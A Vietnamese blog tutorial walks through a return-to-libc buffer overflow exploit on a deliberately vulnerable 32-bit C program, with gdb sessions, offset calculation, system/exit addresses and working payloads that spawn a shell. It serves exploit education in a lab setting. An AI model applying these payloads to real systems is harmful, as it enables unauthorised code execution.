Tutorial BOF : Return 2 Libc

by Unknown 7:10 PM 0 comments

Đã một thời gian dài mình không viết bài :D
Hôm nay mình sẽ làm một bài tut khá đơn giản về Buffer Overflow, return2libc
return2libc muc đích để bypass DEP policy, ngăn không cho ta execute shellcode trong stack.
về DEP policy có thể tham khảo ở đây
Vào đề luôn :D
Source code :
    

  1. #include 
    2. 

  2. #include 
    3. 

  3. #include 
    4. 

  4.  
    5. 

  5. void greeting(char *arg,char *arg1){
    6. 

  6.  char buff[512];
    7. 

  7.  strcpy(buff,arg1);
    8. 

  8.  printf("Hello %s %s\n",arg,buff);
    9. 

  9. }
    10. 

  10.  
    11. 

  11. int main(int argc, char **argv){
    12. 

  12.  greeting(argv[1],argv[2]);
    13. 

  13.  printf("Bye %s %s\n",argv[1],argv[2]);
    14. 

  14.  return 0;
    15. 

  15. }
    16.
Yêu cầu bài tut:
– Hệ thống test Ubuntu 13.04 32bit
– Compiler: gcc -fno-stack-protector demo.c -o demo
– Tắt ASRL
Do Ubuntu bật DEP policy tự động nên với compiler này bạn không thể exploit bằng cách chèn shellcode.
Ta nên biết rằng các hàm C chuẩn printf,strcpy,…. là các hàm std C nằm ở thư viện libc6.so
Mặc định những hàm này dù bạn không gọi thì nó vẫn được mặc định link tới libc6.so khi compiler và khi run những hàm này được load vào chương trình.
Nghĩa là nếu chương trình bạn chỉ call printf nhưng khi execute libc6.so được load thì bạn vẫn có các hàm chuẩn khác mặc dù chưa call chúng.
Bắt đầu debug
hàm strcpy(buff,arg1); là hàm gây ra buffer overflow
Sử dụng tool patter_create.py của mình tham khảo ở https://github.com/peternguyen93/gdb_tools.
    

  1. (gdb) run MR `python ~/gdb_tool/pattern_create.py -l 1000 -v`
    2. 

  2. Starting program: /home/peternguyen/meet MR `python ~/gdb_tool/pattern_create.py -l 1000 -v`
    3. 

  3.  
    4. 

  4. Program received signal SIGSEGV, Segmentation fault.
    5. 

  5. 0xb7e6c6a5 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
    6. 

  6. (gdb) bt
    7. 

  7. #0  0xb7e6c6a5 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
    8. 

  8. #1  0xb7e7181f in printf () from /lib/i386-linux-gnu/libc.so.6
    9. 

  9. #2  0x08048487 in greeting ()
    10. 

  10. #3  0x35724134 in ?? ()
    11. 

  11. #4  0x41367241 in ?? ()
    12. 

  12. #5  0x72413772 in ?? ()
    13. 

  13. #6  0x39724138 in ?? ()
    14. 

  14. #7  0x41307341 in ?? ()
    15. 

  15. #8  0x73413173 in ?? ()
    16. 

  16. #9  0x33734132 in ?? ()
    17. 

  17. #10 0x41347341 in ?? ()
    18. 

  18. #11 0x73413573 in ?? ()
    19. 

  19. #12 0x37734136 in ?? ()
    20. 

  20. #13 0x41387341 in ?? ()
    21. 

  21. #14 0x74413973 in ?? ()
    22. 

  22. #15 0x31744130 in ?? ()
    23. 

  23. #16 0x41327441 in ?? ()
    24. 

  24. #17 0x74413374 in ?? ()
    25. 

  25. #18 0x35744134 in ?? ()
    26. 

  26. #19 0x41367441 in ?? ()
    27. 

  27. ---Type  to continue, or q  to quit---
    28.
Chương trình crash tại #3 0x35724134 in ?? ()
Tính Offset EIP
    

  1. (gdb) python
    2. 

  2. >import os
    3. 

  3. >os.system('python ~/gdb_tool/pattern_create.py -l 1000 -b 0x35724134')
    4. 

  4. >end
    5. 

  5. -> EIP offset : 524
    6.
Chúng ta đã calculate được offset của EIP trong stack frame khá dễ dàng :D
Bắt đầu exploit ở đây mính sẽ return về hàm system là 1 hảm chuẩn trong libc6.so<
ta biết rằng vd hàm function_a(arg1,arg2) khi call hàm này trong stack frame thì có dạng sau
—————-
|address arg1 |
—————-
|address arg2 |
—————-
|return address|
—————-
|call funtion_a|
—————-
Biết system(‘ls’) fork process và execute lệnh sh :D
Payload : ‘A’*524+address_system+’AAAA’+address_command_string
để tính được address_command_string khá là đơn giản
hàm gây ra Buffer Overflow ở hàm greeting, disas hàm greeting xem nào :D
    

  1. (gdb) disas greeting
    2. 

  2. Dump of assembler code for function greeting:
    3. 

  3.    0x0804844c :     push   ebp
    4. 

  4.    0x0804844d :     mov    ebp,esp
    5. 

  5.    0x0804844f :     sub    esp,0x218
    6. 

  6.    0x08048455 :     mov    eax,DWORD PTR [ebp+0xc]
    7. 

  7.    0x08048458 :    mov    DWORD PTR [esp+0x4],eax
    8. 

  8.    0x0804845c :    lea    eax,[ebp-0x208]
    9. 

  9.    0x08048462 :    mov    DWORD PTR [esp],eax
    10. 

  10.    0x08048465 :    call   0x8048320 
    11. 

  11.    0x0804846a :    lea    eax,[ebp-0x208]
    12. 

  12.    0x08048470 :    mov    DWORD PTR [esp+0x8],eax
    13. 

  13.    0x08048474 :    mov    eax,DWORD PTR [ebp+0x8]
    14. 

  14.    0x08048477 :    mov    DWORD PTR [esp+0x4],eax
    15. 

  15.    0x0804847b :    mov    DWORD PTR [esp],0x8048570
    16. 

  16.    0x08048482 :    call   0x8048310 
    17. 

  17.    0x08048487 :    leave  
    18. 

  18.    0x08048488 :    ret    
    19. 

  19. End of assembler dump.
    20.
set break point ở 0x0804846a
    

  1. (gdb) b *0x0804846a
    2. 

  2. Breakpoint 1 at 0x804846a
    3. 

  3. (gdb) run MR `python -c 'print "A"*524+"CCCC"'`
    4. 

  4. The program being debugged has been started already.
    5. 

  5. Start it from the beginning? (y or n) y
    6. 

  6.  
    7. 

  7. Starting program: /home/peternguyen/meet MR `python -c 'print "A"*524+"CCCC"'`
    8. 

  8.  
    9. 

  9. Breakpoint 1, 0x0804846a in greeting ()
    10. 

  10. (gdb) i r
    11. 

  11. eax            0xbffff270       -1073745296
    12. 

  12. ecx            0xbffff890       -1073743728
    13. 

  13. edx            0xbffff47a       -1073744774
    14. 

  14. ebx            0xb7fd2000       -1208147968
    15. 

  15. esp            0xbffff260       0xbffff260
    16. 

  16. ebp            0xbffff478       0xbffff478
    17. 

  17. esi            0x0      0
    18. 

  18. edi            0x0      0
    19. 

  19. eip            0x804846a        0x804846a 
    20. 

  20. eflags         0x202    [ IF ]
    21. 

  21. cs             0x73     115
    22. 

  22. ss             0x7b     123
    23. 

  23. ds             0x7b     123
    24. 

  24. es             0x7b     123
    25. 

  25. fs             0x0      0
    26. 

  26. gs             0x33     51
    27.
hàm strcpy call và return lại address của chuỗi buff :D 0xbffff270
    

  1. (gdb) d 1
    2. 

  2. (gdb) b main
    3. 

  3. Breakpoint 1 at 0x804848c
    4. 

  4. (gdb) p system
    5. 

  5. $1 = {} 0xb7e64280 
    6. 

  6. (gdb) p exit
    7. 

  7. $1 = {} 0xb7e56820
    8.
—junk- ——system—– ——exit——
Payload ‘A’*524+’\x80\x42\xe6\xb7’+’\x20\x68\xe5\xb7’+address_command_str+command_str
address_command_str = 0xbffff270+524+4+4+4
    

  1. (gdb) python print hex(0xbffff270+524+4+4+4)
    2. 

  2. 0xbffff488
    3.
Run Payload nào :D
    

  1. (gdb) run MR `python -c 'print "A"*524+"\x80\x42\xe6\xb7"+"\x20\x68\xe5\xb7"+"\x88\xf4\xff\xbf"+"sh"'`
    2. 

  2. The program being debugged has been started already.
    3. 

  3. Start it from the beginning? (y or n) y
    4. 

  4.  
    5. 

  5. Starting program: /home/peternguyen/meet MR `python -c 'print "A"*524+"\x80\x42\xe6\xb7"+"\x20\x68\xe5\xb7"+"\x88\xf4\xff\xbf"+"sh"'`
    6. 

  6. Hello 
    7. 

  7.        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�B�
    8. 

  8. sh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�B��: File name too long
    9. 

  9.  
    10. 

  10. Program received signal SIGSEGV, Segmentation fault.
    11. 

  11. 0xbffff600 in ?? ()
    12.
Có vẻ như system đã load 1 address command line trong address của biến buffer, disas greeting break point lại và xem tại sao lại như vậy :D
    

  1. (gdb) b *0x08048482
    2. 

  2. Breakpoint 3 at 0x8048482
    3. 

  3. (gdb) run MR `python -c 'print "A"*524+"\x80\x42\xe6\xb7"+"AAAA"+"\x88\xf4\xff\xbf"+"sh"'`
    4. 

  4. The program being debugged has been started already.
    5. 

  5. Start it from the beginning? (y or n) y
    6. 

  6.  
    7. 

  7. Starting program: /home/peternguyen/meet MR `python -c 'print "A"*524+"\x80\x42\xe6\xb7"+"AAAA"+"\x88\xf4\xff\xbf"+"sh"'`
    8. 

  8.  
    9. 

  9. Breakpoint 3, 0x08048482 in greeting ()
    10. 

  10. (gdb) i r
    11. 

  11. eax            0x41414141       1094795585
    12. 

  12. ecx            0xbffff890       -1073743728
    13. 

  13. edx            0xbffff484       -1073744764
    14. 

  14. ebx            0xb7fd2000       -1208147968
    15. 

  15. esp            0xbffff260       0xbffff260
    16. 

  16. ebp            0xbffff478       0xbffff478
    17. 

  17. esi            0x0      0
    18. 

  18. edi            0x0      0
    19. 

  19. eip            0x8048482        0x8048482 
    20. 

  20. eflags         0x202    [ IF ]
    21. 

  21. cs             0x73     115
    22. 

  22. ss             0x7b     123
    23. 

  23. ds             0x7b     123
    24. 

  24. es             0x7b     123
    25. 

  25. fs             0x0      0
    26. 

  26. gs             0x33     51
    27.
để ý eax bị override thành AAAA
break point từng line của các lệnh sau:
0x0804846a : lea eax,[ebp-0x208]
0x08048470 : mov DWORD PTR [esp+0x8],eax
0x08048474 : mov eax,DWORD PTR [ebp+0x8]
0x08048477 : mov DWORD PTR [esp+0x4],eax
0x0804847b : mov DWORD PTR [esp],0x8048570
    

  1. (gdb) run MR `python -c 'print "A"*524+"\x80\x42\xe6\xb7"+"AAAA"+"\x88\xf4\xff\xbf"+"sh"'`
    2. 

  2. The program being debugged has been started already.
    3. 

  3. Start it from the beginning? (y or n) y
    4. 

  4.  
    5. 

  5. Starting program: /home/peternguyen/meet MR `python -c 'print "A"*524+"\x80\x42\xe6\xb7"+"AAAA"+"\x88\xf4\xff\xbf"+"sh"'`
    6. 

  6.  
    7. 

  7. Breakpoint 4, 0x0804846a in greeting ()
    8. 

  8. (gdb) i r
    9. 

  9. eax            0xbffff270       -1073745296
    10. 

  10. ecx            0xbffff890       -1073743728
    11. 

  11. edx            0xbffff484       -1073744764
    12. 

  12. ebx            0xb7fd2000       -1208147968
    13. 

  13. esp            0xbffff260       0xbffff260
    14. 

  14. ebp            0xbffff478       0xbffff478
    15. 

  15. esi            0x0      0
    16. 

  16. edi            0x0      0
    17. 

  17. eip            0x804846a        0x804846a 
    18. 

  18. eflags         0x202    [ IF ]
    19. 

  19. cs             0x73     115
    20. 

  20. ss             0x7b     123
    21. 

  21. ds             0x7b     123
    22. 

  22. es             0x7b     123
    23. 

  23. fs             0x0      0
    24. 

  24. gs             0x33     51
    25. 

  25. (gdb) x/20x 0xbffff270
    26. 

  26. 0xbffff270:     0x41414141      0x41414141      0x41414141      0x41414141
    27. 

  27. 0xbffff280:     0x41414141      0x41414141      0x41414141      0x41414141
    28. 

  28. 0xbffff290:     0x41414141      0x41414141      0x41414141      0x41414141
    29. 

  29. 0xbffff2a0:     0x41414141      0x41414141      0x41414141      0x41414141
    30. 

  30. 0xbffff2b0:     0x41414141      0x41414141      0x41414141      0x41414141
    31. 

  31. (gdb) c
    32. 

  32. Continuing.
    33. 

  33.  
    34. 

  34. Breakpoint 5, 0x08048470 in greeting ()
    35. 

  35. (gdb) i r
    36. 

  36. eax            0xbffff270       -1073745296
    37. 

  37. ecx            0xbffff890       -1073743728
    38. 

  38. edx            0xbffff484       -1073744764
    39. 

  39. ebx            0xb7fd2000       -1208147968
    40. 

  40. esp            0xbffff260       0xbffff260
    41. 

  41. ebp            0xbffff478       0xbffff478
    42. 

  42. esi            0x0      0
    43. 

  43. edi            0x0      0
    44. 

  44. eip            0x8048470        0x8048470 
    45. 

  45. eflags         0x202    [ IF ]
    46. 

  46. cs             0x73     115
    47. 

  47. ss             0x7b     123
    48. 

  48. ds             0x7b     123
    49. 

  49. es             0x7b     123
    50. 

  50. fs             0x0      0
    51. 

  51. gs             0x33     51
    52. 

  52. (gdb) c
    53. 

  53. Continuing.
    54. 

  54.  
    55. 

  55. Breakpoint 6, 0x08048474 in greeting ()
    56. 

  56. (gdb) i r
    57. 

  57. eax            0xbffff270       -1073745296
    58. 

  58. ecx            0xbffff890       -1073743728
    59. 

  59. edx            0xbffff484       -1073744764
    60. 

  60. ebx            0xb7fd2000       -1208147968
    61. 

  61. esp            0xbffff260       0xbffff260
    62. 

  62. ebp            0xbffff478       0xbffff478
    63. 

  63. esi            0x0      0
    64. 

  64. edi            0x0      0
    65. 

  65. eip            0x8048474        0x8048474 
    66. 

  66. eflags         0x202    [ IF ]
    67. 

  67. cs             0x73     115
    68. 

  68. ss             0x7b     123
    69. 

  69. ds             0x7b     123
    70. 

  70. es             0x7b     123
    71. 

  71. fs             0x0      0
    72. 

  72. gs             0x33     51
    73. 

  73. (gdb) x/20x 0xbffff260+8
    74. 

  74. 0xbffff268:     0xbffff270      0xb7fdcdc8      0x41414141      0x41414141
    75. 

  75. 0xbffff278:     0x41414141      0x41414141      0x41414141      0x41414141
    76. 

  76. 0xbffff288:     0x41414141      0x41414141      0x41414141      0x41414141
    77. 

  77. 0xbffff298:     0x41414141      0x41414141      0x41414141      0x41414141
    78. 

  78. 0xbffff2a8:     0x41414141      0x41414141      0x41414141      0x41414141
    79. 

  79. (gdb) disas greeting
    80. 

  80. Dump of assembler code for function greeting:
    81. 

  81.    0x0804844c :     push   ebp
    82. 

  82.    0x0804844d :     mov    ebp,esp
    83. 

  83.    0x0804844f :     sub    esp,0x218
    84. 

  84.    0x08048455 :     mov    eax,DWORD PTR [ebp+0xc]
    85. 

  85.    0x08048458 :    mov    DWORD PTR [esp+0x4],eax
    86. 

  86.    0x0804845c :    lea    eax,[ebp-0x208]
    87. 

  87.    0x08048462 :    mov    DWORD PTR [esp],eax
    88. 

  88.    0x08048465 :    call   0x8048320 
    89. 

  89.    0x0804846a :    lea    eax,[ebp-0x208]
    90. 

  90.    0x08048470 :    mov    DWORD PTR [esp+0x8],eax
    91. 

  91. =&gt; 0x08048474 :    mov    eax,DWORD PTR [ebp+0x8]
    92. 

  92.    0x08048477 :    mov    DWORD PTR [esp+0x4],eax
    93. 

  93.    0x0804847b :    mov    DWORD PTR [esp],0x8048570
    94. 

  94.    0x08048482 :    call   0x8048310 
    95. 

  95.    0x08048487 :    leave  
    96. 

  96.    0x08048488 :    ret    
    97. 

  97. End of assembler dump.
    98. 

  98. (gdb) i r eax
    99. 

  99. eax            0xbffff270       -1073745296
    100. 

  100. (gdb) i r esp+0x8
    101. 

  101. Invalid register `esp+0x8'
    102. 

  102. (gdb) x/10x $esp+0x8
    103. 

  103. 0xbffff268:     0xbffff270      0xb7fdcdc8      0x41414141      0x41414141
    104. 

  104. 0xbffff278:     0x41414141      0x41414141      0x41414141      0x41414141
    105. 

  105. 0xbffff288:     0x41414141      0x41414141
    106. 

  106. gdb) c
    107. 

  107. Continuing.
    108. 

  108. Breakpoint 4, 0x08048477 in greeting ()
    109. 

  109. (gdb) i r
    110. 

  110. eax            0x41414141       1094795585
    111. 

  111. ecx            0xbffff890       -1073743728
    112. 

  112. edx            0xbffff484       -1073744764
    113. 

  113. ebx            0xb7fd2000       -1208147968
    114. 

  114. esp            0xbffff260       0xbffff260
    115. 

  115. ebp            0xbffff478       0xbffff478
    116. 

  116. esi            0x0      0
    117. 

  117. edi            0x0      0
    118. 

  118. eip            0x8048477        0x8048477 
    119. 

  119. eflags         0x202    [ IF ]
    120. 

  120. cs             0x73     115
    121. 

  121. ss             0x7b     123
    122. 

  122. ds             0x7b     123
    123. 

  123. es             0x7b     123
    124. 

  124. fs             0x0      0
    125. 

  125. gs             0x33     51
    126.
ta thấy line này đã gây ra lỗi
mov eax,DWORD PTR [ebp+0x8]
xét lại đoạn code
0x0804846a : lea eax,[ebp-0x208]
0x08048470 : mov DWORD PTR [esp+0x8],eax
0x08048474 : mov eax,DWORD PTR [ebp+0x8]
=> 0x08048477 : mov DWORD PTR [esp+0x4],eax
0x0804847b : mov DWORD PTR [esp],0x8048570
line 1 : copy địa chỉ của biến buff vào eax
line 2 : copy eax value vào địa chỉ esp+0x8 = 0xbffff260+0x8 => 0xbffff268: 0xbffff270
line 3 : copy địa chỉ biến arg vào eax (ebp+0x8)
    

  1. (gdb) x/10x $ebp+0x8
    2. 

  2. 0xbffff480:     0x41414141      0xbffff488      0x08006873      0xb7fd2000
    3. 

  3. 0xbffff490:     0x080484e0      0x00000000      0x00000000      0xb7e3c935
    4. 

  4. 0xbffff4a0:     0x00000003      0xbffff534
    5.
=> chính là phần input mà ta đã nhập vào :D
nết set tiếp break point tại printf
ta sẽ có được
    

  1. (gdb) x/10x $esp+0x8
    2. 

  2. 0xbffff268:     0xbffff270      0xb7fdcdc8      0x41414141      0x41414141
    3. 

  3. 0xbffff278:     0x41414141      0x41414141      0x41414141      0x41414141
    4. 

  4. 0xbffff288:     0x41414141      0x41414141
    5. 

  5. (gdb) x/10x $esp+0x4
    6. 

  6. 0xbffff264:     0x41414141      0xbffff270      0xb7fdcdc8      0x41414141
    7. 

  7. 0xbffff274:     0x41414141      0x41414141      0x41414141      0x41414141
    8. 

  8. 0xbffff284:     0x41414141      0x41414141
    9. 

  9. (gdb) x/10x $esp
    10. 

  10. 0xbffff260:     0x08048570      0x41414141      0xbffff270      0xb7fdcdc8
    11. 

  11. 0xbffff270:     0x41414141      0x41414141      0x41414141      0x41414141
    12. 

  12. 0xbffff280:     0x41414141      0x41414141
    13.
print(straddr,arg,buff)
địa chỉ của arg bị override thành 0x41414141 nên khi printf call thì printf call vprintf thì bị crash.
    

  1. (gdb) bt
    2. 

  2. #0  0xb7e6c6a5 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
    3. 

  3. #1  0xb7e7181f in printf () from /lib/i386-linux-gnu/libc.so.6
    4. 

  4. #2  0x08048487 in greeting ()
    5. 

  5. #3  0xb7e64280 in ?? () from /lib/i386-linux-gnu/libc.so.6
    6.
chỉnh sửa lại payload chút
    

  1. (gdb) run `python -c 'print "A"*524+"\x80\x42\xe6\xb7"'`
    2. 

  2. Starting program: /home/peternguyen/meet run `python -c 'print "A"*524+"\x80\x42\xe6\xb7"'`
    3. 

  3. Hello � AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�B�
    4. 

  4. sh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�B��: File name too long
    5. 

  5.  
    6. 

  6. Program received signal SIGSEGV, Segmentation fault.
    7. 

  7. 0xbffff600 in ?? ()
    8.
0xbffff600 => tại sao lại vậy ở đâu ra, set break point lại các line sau :D
0x08048474 : mov eax,DWORD PTR [ebp+0x8]
0x08048477 : mov DWORD PTR [esp+0x4],eax
0x0804847b : mov DWORD PTR [esp],0x8048570
=> 0x08048482 : call 0x8048310
0x08048487 : leave
    

  1. gdb) run MR `python -c 'print "sh;"+"A"*521+"\x80\x42\xe6\xb7"'`
    2. 

  2. The program being debugged has been started already.
    3. 

  3. Start it from the beginning? (y or n) y
    4. 

  4.  
    5. 

  5. Starting program: /home/peternguyen/meet MR `python -c 'print "sh;"+"A"*521+"\x80\x42\xe6\xb7"'`
    6. 

  6.  
    7. 

  7. Breakpoint 1, 0x08048474 in greeting ()
    8. 

  8. (gdb) i r
    9. 

  9. eax            0xbffff270       -1073745296
    10. 

  10. ecx            0xbffff890       -1073743728
    11. 

  11. edx            0xbffff47a       -1073744774
    12. 

  12. ebx            0xb7fd2000       -1208147968
    13. 

  13. esp            0xbffff260       0xbffff260
    14. 

  14. ebp            0xbffff478       0xbffff478
    15. 

  15. esi            0x0      0
    16. 

  16. edi            0x0      0
    17. 

  17. eip            0x8048474        0x8048474 
    18. 

  18. eflags         0x202    [ IF ]
    19. 

  19. cs             0x73     115
    20. 

  20. ss             0x7b     123
    21. 

  21. ds             0x7b     123
    22. 

  22. es             0x7b     123
    23. 

  23. fs             0x0      0
    24. 

  24. gs             0x33     51
    25. 

  25. (gdb) c 
    26. 

  26. Continuing.
    27. 

  27.  
    28. 

  28. Breakpoint 2, 0x08048477 in greeting ()
    29. 

  29. (gdb) x/10x $ebp
    30. 

  30. 0xbffff478:     0x41414141      0xb7e64280      0xbffff600      0xbffff686
    31. 

  31. 0xbffff488:     0x080484eb      0xb7fd2000      0x080484e0      0x00000000
    32. 

  32. 0xbffff498:     0x00000000      0xb7e3c935
    33.
đây chính là input ta nhập vào ở lần debug trên với input được + ‘A’*4 thì AAAA override lại 0xbffff600 nên ct bị crash ở vprintf
    

  1. (gdb) x/10x $esp
    2. 

  2. 0xbffff260:     0x08048570      0xbffff600      0xbffff270      0xb7fdcdc8
    3. 

  3. 0xbffff270:     0x413b6873      0x41414141      0x41414141      0x41414141
    4. 

  4. 0xbffff280:     0x41414141      0x41414141
    5.
printf(0x08048570(format str),0xbffff600 = arg,0xbffff270=>buff)
khi call hàm printf -> vprintf không có lỗi
khi lệnh ret execute chương trình sẽ về hàm main và execute system với arg = 0xbffff686# buffer
    

  1. (gdb) run MR `python -c 'print "sh;"+"A"*521+"\x80\x42\xe6\xb7"'`
    2. 

  2. The program being debugged has been started already.
    3. 

  3. Start it from the beginning? (y or n) y
    4. 

  4.  
    5. 

  5. Starting program: /home/peternguyen/meet MR `python -c 'print "sh;"+"A"*521+"\x80\x42\xe6\xb7"'`
    6. 

  6. Hello � sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�B�
    7. 

  7. $ id
    8. 

  8. uid=1000(peternguyen) gid=1000(peternguyen) groups=1000(peternguyen),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),111(lpadmin),112(sambashare)
    9.
trên đây là 1 cái example về ret2libc có vẻ không chính thống ở đây mình sẽ sử dụng lại payload đầu và calculate lại
command string address
quay lại lên trên ta thây ebp : 0xbffff478
stack: ebp + eip + returnaddr + addresscommand+command
=> addresscommand : 0xbffff478+4+4+4
    

  1. (gdb) run MR `python -c 'print "sh;"+"A"*521+"\x80\x42\xe6\xb7"+"\x20\x68\xe5\xb7"+"\x84\xf4\xff\xbf"+"sh"'`
    2. 

  2. The program being debugged has been started already.
    3. 

  3. Start it from the beginning? (y or n) y
    4. 

  4.  
    5. 

  5. Starting program: /home/peternguyen/meet MR `python -c 'print "sh;"+"A"*521+"\x80\x42\xe6\xb7"+"\x20\x68\xe5\xb7"+"\x84\xf4\xff\xbf"+"sh"'`
    6. 

  6. Hello 
    7. 

  7.        sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�B�
    8. 

  8. $ id
    9. 

  9. uid=1000(peternguyen) gid=1000(peternguyen) groups=1000(peternguyen),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),111(lpadmin),112(sambashare)
    10.
Sỡ dĩ mình viết bài này kỹ nhiều hướng exploit bằng ret2libc khác nhau để các bạn thấy được rằng cách khi mình học và nghiên cứu không chỉ dựa vào sách, vì có những cái khi bạn thực hành theo sách nó không đúng, vì compiler và OS của sách có lẽ sẽ khác với những gì bạn có. Mình tóm lại 1 câu nếu các bạn đam mê và chịu khó, không nản lòng thì vấn đề gì cũng có thể giải quyết được. :D
Hy vọng bài tut này hữu ích với các bạn. Thân :D
Labels:

About author: Unknown

Cress arugula peanut tigernut wattle seed kombu parsnip. Lotus root mung bean arugula tigernut horseradish endive yarrow gourd. Radicchio cress avocado garlic quandong collard greens.

0 comments:

Subscribe to: Post Comments (Atom)